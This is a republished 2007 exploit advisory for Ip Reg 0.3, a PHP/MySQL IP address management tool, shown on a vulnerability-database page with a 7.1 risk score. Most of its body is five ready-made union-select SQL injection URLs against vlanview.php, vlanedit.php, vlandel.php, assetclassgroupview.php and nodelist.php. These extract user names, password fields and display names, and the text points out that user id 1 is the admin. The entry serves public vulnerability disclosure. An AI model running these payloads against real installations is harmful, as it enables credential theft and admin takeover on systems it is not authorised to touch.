Ip Reg 0.3 Multiple Remote SQL Injection Vulnerabilities

🗓️ 23 Dec 2007 00:00:00Reported by RootType
Ip Reg v0.3 Multiple Remote SQL Injectio

                                                ---------------------------------------------------------------
&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__________&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;____&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;
/_&nbsp;&nbsp;&nbsp;|&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|__\_____&nbsp;&nbsp;\&nbsp;&nbsp;_____/&nbsp;&nbsp;|_&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/_&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;|_&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|&nbsp;_(__&nbsp;&nbsp;&lt;_/&nbsp;___\&nbsp;&nbsp;&nbsp;__\&nbsp;&nbsp;______&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;__\
&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\___|&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;/_____/&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;||&nbsp;&nbsp;|&nbsp;&nbsp;
&nbsp;|___|___|&nbsp;&nbsp;/\__|&nbsp;&nbsp;/______&nbsp;&nbsp;/\___&nbsp;&nbsp;&gt;__|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|___||__|&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\______|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
---------------------------------------------------------------

Http://www.inj3ct-it.org	&nbsp;&nbsp;&nbsp;&nbsp;Staff[at]inj3ct-it[dot]org	

---------------------------------------------------------------

	&nbsp;Multiple&nbsp;Remote&nbsp;Sql&nbsp;Injection

---------------------------------------------------------------

#&nbsp;Author:&nbsp;MhZ91&nbsp;
#&nbsp;Title:&nbsp;Ip&nbsp;Reg&nbsp;v0.3&nbsp;-&nbsp;Remote&nbsp;Sql&nbsp;Injection
#&nbsp;Download:&nbsp;http://sourceforge.net/project/showfiles.php?group_id=211757
#&nbsp;Bug:&nbsp;Remote&nbsp;Sql&nbsp;Injection
#&nbsp;Info:&nbsp;IP&nbsp;Reg&nbsp;is&nbsp;a&nbsp;IPAM&nbsp;tool&nbsp;to&nbsp;keep&nbsp;track&nbsp;of&nbsp;assets,&nbsp;nodes&nbsp;(IP&nbsp;addresses,&nbsp;MAC&nbsp;addresses,&nbsp;DNS&nbsp;aliases)&nbsp;within&nbsp;different&nbsp;subnets,&nbsp;over&nbsp;different&nbsp;locations&nbsp;or&nbsp;even&nbsp;VLAN's.&nbsp;Written&nbsp;in&nbsp;PHP,&nbsp;use&nbsp;it&nbsp;with&nbsp;a&nbsp;MySQL-database&nbsp;to&nbsp;have&nbsp;a&nbsp;unique&nbsp;insight&nbsp;in&nbsp;your&nbsp;local&nbsp;network
#&nbsp;Visit:&nbsp;http://www.inj3ct-it.org

---------------------------------------------------------------

http://[site]/vlanview.php?vlan_id='+union+select+1,2,concat(user_name,char(58),user_pass,char(58),user_displayname)+from+user+where+user_id=[UserID]/*

http://[site]/vlanedit.php?vlan_id='+union+select+1,2,concat(user_name,char(58),user_pass,char(58),user_displayname)+from+user+where+user_id=[UserID]/*

http://[site]/vlandel.php?vlan_id='+union+select+1,2,concat(user_name,char(58),user_pass,char(58),user_displayname)+from+user+where+user_id=[UserID]/*

http://[site]/assetclassgroupview.php?assetclassgroup_id='+union+select+1,concat(user_name,char(58),user_pass,char(58),user_displayname)+from+user+where+user_id=[UserID]/*

http://[site]/nodelist.php?subnet_id='+union+select+1,2,3,4,5,6,7,concat(user_name,char(58),user_pass,char(58),user_displayname)+from+user+where+user_id=[UserID]/*

There&nbsp;is&nbsp;other&nbsp;more&nbsp;sql&nbsp;injection.

For&nbsp;get&nbsp;user,&nbsp;password&nbsp;and&nbsp;status&nbsp;of&nbsp;the&nbsp;members,&nbsp;u&nbsp;must&nbsp;edit&nbsp;[UserID]&nbsp;whit&nbsp;number..&nbsp;The&nbsp;number&nbsp;1&nbsp;it's&nbsp;the&nbsp;default&nbsp;id&nbsp;of&nbsp;the&nbsp;admin.
---------------------------------------------------------------
23 Dec 2007 00:00Current
7.1High risk
Vulners AI Score7.1